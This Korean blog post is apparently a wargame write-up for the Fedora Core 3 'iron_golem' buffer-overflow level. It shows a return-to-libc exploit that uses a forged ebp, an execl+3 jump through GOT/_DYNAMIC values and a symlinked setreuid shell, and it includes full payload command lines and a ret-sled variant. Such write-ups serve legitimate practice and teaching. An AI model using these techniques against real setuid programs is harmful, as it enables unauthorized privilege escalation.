systemhacking/practice

fedoracore 3 gate->iron_golem

qkqhxla1 2015. 2. 15. 18:56

http://turtle1000.tistory.com/60 를 보면서 풀고있다.

앞에 적어놨던 기법들때문에 스택에 코드를올려서 리턴주소를 변경해주는걸로는 공격이 불가하다.

got를 이용해 인자를 전달하고, execl함수로 실행이 가능하다고 한다.


execl함수 예제.

#include <stdio.h>

int main()

{

        execl("/bin/ls","ls","-l",NULL);

        return 0;

}


| ebp(4) | ret(execl 함수) | new ret(4) | 인자1 | 인자2 | 인자3 | 이런식인데,

ebp에는 인자1의 위치-8의 주소, ret에는 execl함수의 주소+3을 넣어주면 된다고 한다. execl함수의 주소+3을 집어넣는 이유는, execl주소+1과 +2에는 첫 시작인 push ebp; move ebp, esp가 있어서, 이걸 무시하기 위해서 execl+3의 주소를 넣어준다고 한다. 그러면 프로그램은 +1,+2과정이 알아서 실행됬을거라 가정하고, 해당 위치에 있는 ebp를 믿어버린다. 우리는 ebp를 인자1의주소-8의 주소로 변경해놨기 때문에 변경된 ebp로 인자를 잘 전달할 수 있다. 인자로의 전달은 got를 이용한다고 했다.





위 캡쳐를 보면 got는 08049618에 있고, 08049618을 직접 열어보면 dynamic : 0x00000~1이 나오는데, 여기서의 0x000~1은 우리가 만들어주어도 그걸 알아서 참조하는것 같다.

| 인자1의주소(got)-8 | ret(execl 함수+3) | new ret(4) | 인자1 | 인자2 | 인자3 | 

인데 구체적인 주소로 다시 써보면 

0x08049610 | 0x007a5723 | 아무거나 | dynamic 0x1 |~

처럼 하면 된다.

sh.c라는 프로그램을

#include <stdio.h>

#include <unistd.h>


int main(void)

{

        setreuid(geteuid(), geteuid());

        system("/bin/sh");

        return 0;

}

이렇게 만들고 컴파일 후 링크를 0x1로 걸면 인자 1인 dynamic 0x1이 이 파일을 알아서 참조한다.

ln -s sh `python -c 'print "\x1"'`

./iron_golem `python -c 'print "a"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`

처럼 보내면 알아서 성공한다.



궁금점 일부 해결.

1. system함수를 안쓰는이유.

system() 함수는 내부 루틴중에 geteuid 를 재설정 해주는 부분이 있기 때문에 이를 유지 할 수 없다. 따라서 system 함수의 주소값 대신에 execve 주소값을 찾아 줘야 한다. ( http://sangu1ne.tistory.com/1 )


2. execl의 3번째 인자는 널이다. 그럼 널값은 왜 안넣지?


인자를 직접 확인해보면 3번째 인자가 0x0000000 으로 널값임을 알 수 있다.

즉 공격 전에 미리 3번째 인자가 널인 주소를 찾고, 그 주소를 대상으로 공격한다는것.


3. <_DYNAMIC> 부분은 매번 참조하므로 링크를 해당 주소로 직접 해주면 _DYNAMIC부분 실행시 내가 링크한 프로그램을 실행하게 됨.(이건 확실한지 모르겠음.)


4. execl말고도 execv+3의 주소로도 된다. 하지만 execve는 세개의 인자가 들어가게 되는데, 세번째 인자의 위치가 _dl_runtime_resolve라서 안되는것 같다.(아직 불확실) http://smleenull.tistory.com/302

나중에 참고 : http://sanguine.leaveret.kr/3


5. 이상한 에러 발견. 값을 덮어씌웠는데도 안 덮어지는 경우가 발생. 맨앞에 \x20인 경우 발생한다.

생햌에 물어봤는데 \x20은 구분자라서 안 들어간다고 한다. \x20을 넣어서도 실행시키려면

"`python -c ~~~`" 이렇게 감싸줘야 한다. 어떤 페이로드가 종종 저런게 있었는데 이 이유때문인듯 ㅋ



이번엔 ret sled로 페이로드 만들기. (삽질끝에 알아냄.)

execl을 실행시키기 위한 적당한 환경을 또 한번 찾아보면 여기도 있다.



세번째 인자가 널이라서 여기도 된다고 생각한다.

ret sled로 ret의 위치를 0xfefe3490이 있는 자리까지 끌어와서 \xfefe3490대신에 execl 함수를 넣게 되면그 두칸 뒤인 0x0083eff4위치를 인자로 인식하게 된다.

즉 0x0083eff4의 값인 0x0083ed3c를 우리가 만든 쉘로 링크를 걸어주고 잘 옮기면 된다는소리!!

ln -s ./sh `python -c 'print "\x3c\xed\x83\x00"'`

걸고 ret부분은 찾아보면 0x08048441 <main+113>:  ret 이다.


그러면 기본적인 ret의 위치는 0x00730e33이 있는 0xfefe33fc 자리이므로 ret을 ret3번+execl로 덮어씌워주게 되면 0xfefe3490이 있는 곳이 execl이 되면서 두칸 뒤인 0x0083eff4를 인자로 인식하면서 제대로 쉘이 실행될것이다. 그리고 \x20을 실행시키려면 위에서 언급한대로 ""로 감싸주는걸 잊지 말자.


r "`python -c 'print "a"*268+"\x41\x84\x04\x08"*3+"\x20\x57\x7a"'`"


로 실행시키면 된다. ebp는 변조할 필요가 없기 때문에 a값을 268개를 준걸 확인하자.

'systemhacking > practice' 카테고리의 다른 글

fedoracore 3 dark_eyes->hell_fire  (0) 2015.02.20
fedoracore 3 iron_golem->dark_eyes  (0) 2015.02.17
io.smash the stack 1~5  (0) 2015.02.12
bof xavius->death_knight  (0) 2015.02.01
lob nightmare->xavius  (0) 2015.01.30